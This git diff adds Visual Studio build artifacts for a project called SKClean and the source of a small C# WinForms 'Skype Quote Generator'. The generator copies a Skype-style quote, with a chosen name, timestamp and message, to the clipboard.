diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..d17152c
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt
@@ -0,0 +1,33 @@
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe.config
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.pdb
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.exe
+c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
+C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache
new file mode 100644
index 0000000..b990346
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache
new file mode 100644
index 0000000..d3fefc1
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache
new file mode 100644
index 0000000..a3c7f20
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe
new file mode 100644
index 0000000..83b12fc
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb
new file mode 100644
index 0000000..667e94d
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/Skype Quote Generator/Skype Quote Generator.exe b/c#/Skype Quote Generator/Skype Quote Generator.exe
new file mode 100644
index 0000000..ea2f132
Binary files /dev/null and b/c#/Skype Quote Generator/Skype Quote Generator.exe differ
diff --git a/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo
new file mode 100644
index 0000000..5112e74
Binary files /dev/null and b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo differ
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote.sln b/c#/Skype Quote Generator/Source/SkypeQuote.sln
new file mode 100644
index 0000000..3bce1a2
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 14
+VisualStudioVersion = 14.0.23107.0
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SkypeQuote", "SkypeQuote\SkypeQuote.csproj", "{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/App.config b/c#/Skype Quote Generator/Source/SkypeQuote/App.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd
new file mode 100644
index 0000000..77a8b74
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs
new file mode 100644
index 0000000..8f7ac21
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs
@@ -0,0 +1,152 @@
+namespace SkypeQuote
+{
+ partial class Main
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
+ this.NameBox = new System.Windows.Forms.TextBox();
+ this.label1 = new System.Windows.Forms.Label();
+ this.label2 = new System.Windows.Forms.Label();
+ this.TimeBox = new System.Windows.Forms.TextBox();
+ this.MessageBox = new System.Windows.Forms.TextBox();
+ this.label3 = new System.Windows.Forms.Label();
+ this.CopyButton = new System.Windows.Forms.Button();
+ this.NowButton = new System.Windows.Forms.Button();
+ this.SuspendLayout();
+ //
+ // NameBox
+ //
+ this.NameBox.Location = new System.Drawing.Point(79, 10);
+ this.NameBox.Name = "NameBox";
+ this.NameBox.Size = new System.Drawing.Size(158, 20);
+ this.NameBox.TabIndex = 0;
+ //
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Location = new System.Drawing.Point(13, 13);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(38, 13);
+ this.label1.TabIndex = 1;
+ this.label1.Text = "Name:";
+ //
+ // label2
+ //
+ this.label2.AutoSize = true;
+ this.label2.Location = new System.Drawing.Point(12, 39);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(61, 13);
+ this.label2.TabIndex = 2;
+ this.label2.Text = "Timestamp:";
+ //
+ // TimeBox
+ //
+ this.TimeBox.Location = new System.Drawing.Point(79, 38);
+ this.TimeBox.Name = "TimeBox";
+ this.TimeBox.Size = new System.Drawing.Size(114, 20);
+ this.TimeBox.TabIndex = 3;
+ //
+ // MessageBox
+ //
+ this.MessageBox.Location = new System.Drawing.Point(79, 65);
+ this.MessageBox.Multiline = true;
+ this.MessageBox.Name = "MessageBox";
+ this.MessageBox.Size = new System.Drawing.Size(158, 69);
+ this.MessageBox.TabIndex = 4;
+ //
+ // label3
+ //
+ this.label3.AutoSize = true;
+ this.label3.Location = new System.Drawing.Point(12, 68);
+ this.label3.Name = "label3";
+ this.label3.Size = new System.Drawing.Size(53, 13);
+ this.label3.TabIndex = 5;
+ this.label3.Text = "Message:";
+ //
+ // CopyButton
+ //
+ this.CopyButton.Location = new System.Drawing.Point(12, 140);
+ this.CopyButton.Name = "CopyButton";
+ this.CopyButton.Size = new System.Drawing.Size(225, 23);
+ this.CopyButton.TabIndex = 6;
+ this.CopyButton.Text = "Copy To Clipboard";
+ this.CopyButton.UseVisualStyleBackColor = true;
+ this.CopyButton.Click += new System.EventHandler(this.CopyButton_Click);
+ //
+ // NowButton
+ //
+ this.NowButton.Location = new System.Drawing.Point(199, 36);
+ this.NowButton.Name = "NowButton";
+ this.NowButton.Size = new System.Drawing.Size(38, 23);
+ this.NowButton.TabIndex = 7;
+ this.NowButton.Text = "Now";
+ this.NowButton.UseVisualStyleBackColor = true;
+ this.NowButton.Click += new System.EventHandler(this.NowButton_Click);
+ //
+ // Main
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(249, 170);
+ this.Controls.Add(this.NowButton);
+ this.Controls.Add(this.CopyButton);
+ this.Controls.Add(this.label3);
+ this.Controls.Add(this.MessageBox);
+ this.Controls.Add(this.TimeBox);
+ this.Controls.Add(this.label2);
+ this.Controls.Add(this.label1);
+ this.Controls.Add(this.NameBox);
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.MaximizeBox = false;
+ this.MaximumSize = new System.Drawing.Size(265, 209);
+ this.MinimizeBox = false;
+ this.MinimumSize = new System.Drawing.Size(265, 209);
+ this.Name = "Main";
+ this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
+ this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+ this.Text = "Skype Quote Generator";
+ this.Load += new System.EventHandler(this.Main_Load);
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.TextBox NameBox;
+ private System.Windows.Forms.Label label1;
+ private System.Windows.Forms.Label label2;
+ private System.Windows.Forms.TextBox TimeBox;
+ private System.Windows.Forms.TextBox MessageBox;
+ private System.Windows.Forms.Label label3;
+ private System.Windows.Forms.Button CopyButton;
+ private System.Windows.Forms.Button NowButton;
+ }
+}
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs
new file mode 100644
index 0000000..c76543a
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs
@@ -0,0 +1,44 @@
+using System;
+using System.Globalization;
+using System.IO;
+using System.Text;
+using System.Windows.Forms;
+
+
+namespace SkypeQuote {
+ public partial class Main : Form {
+ private static readonly DateTime LinuxTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+
+ public Main() {
+ InitializeComponent();
+ }
+
+ private void Main_Load(object sender, EventArgs e) {
+ this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
+ }
+
+ private void NowButton_Click(object sender, EventArgs e) {
+ this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
+ }
+
+ private void CopyButton_Click(object sender, EventArgs e) {
+ Clipboard.SetText(" ");
+ DateTime dateTime;
+ if (!DateTime.TryParse(this.TimeBox.Text, out dateTime)) {
+ System.Windows.Forms.MessageBox.Show("Invalid timestamp format!");
+ return;
+ }
+ string user = this.NameBox.Text;
+ string message = this.MessageBox.Text;
+ string skypeMessageFragment = String.Format("{2}
", user, (dateTime.ToUniversalTime() - LinuxTime).TotalSeconds, message);
+ IDataObject dataObject = new DataObject();
+ dataObject.SetData("System.String", message);
+ dataObject.SetData("Text", message);
+ dataObject.SetData("UnicodeText", message);
+ dataObject.SetData("OEMText", message);
+ dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(skypeMessageFragment)));
+ dataObject.SetData("Locale", new MemoryStream(BitConverter.GetBytes(CultureInfo.CurrentCulture.LCID)));
+ Clipboard.SetDataObject(dataObject);
+ }
+ }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx
new file mode 100644
index 0000000..bf5cb09
--- /dev/null
+++ b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx
@@ -0,0 +1,1253 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+
+
+ AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABILAAASCwAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACngyMQwZAMK8KTEUK1ihZQtYoWULSKFlC3jyFIyJQIN7OJ
+ Fx2afzUDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwiSEMwJQgTLuTKYrKlw+91ZwE69yh
+ Av/gpAH/4aQB/+epAP/pqgD/6KoA/+SmAf/hpAH/4KMB/9ieA/nNmAnRxJIOoMeUDWi4jyEiAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALGP
+ NAu8mDReypgTttugBPjlpwH/7KwB//CxBv/wtBD/7rMT/+atFP/jqxT/46sT/+OrE//jqxP/5KsU/+et
+ FP/vtBP/8LIM//CwBP/urQD/56kA/9+jAv/QmgrWxZUSgreUNicAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAACkgSIUuosQJMSRCjDLlgc+zJcGQMyXBkDLlgc+xJEKMLqLECSkgSIUAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAALSPKyHEmimQ2KAG8eaoAv/vsAX/7rIS/+CpFf/dpxT/3aUO/9yi
+ Bf/hpQD/5qgB/+qrAP/wrwD/8K8A//CvAP/pqgH/5acB/+CjAf/dowj/3aYQ/92nFf/jqxT/8LMQ//Cv
+ A//qqwD/4KQD/s2ZDr7FmSRMq6KKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
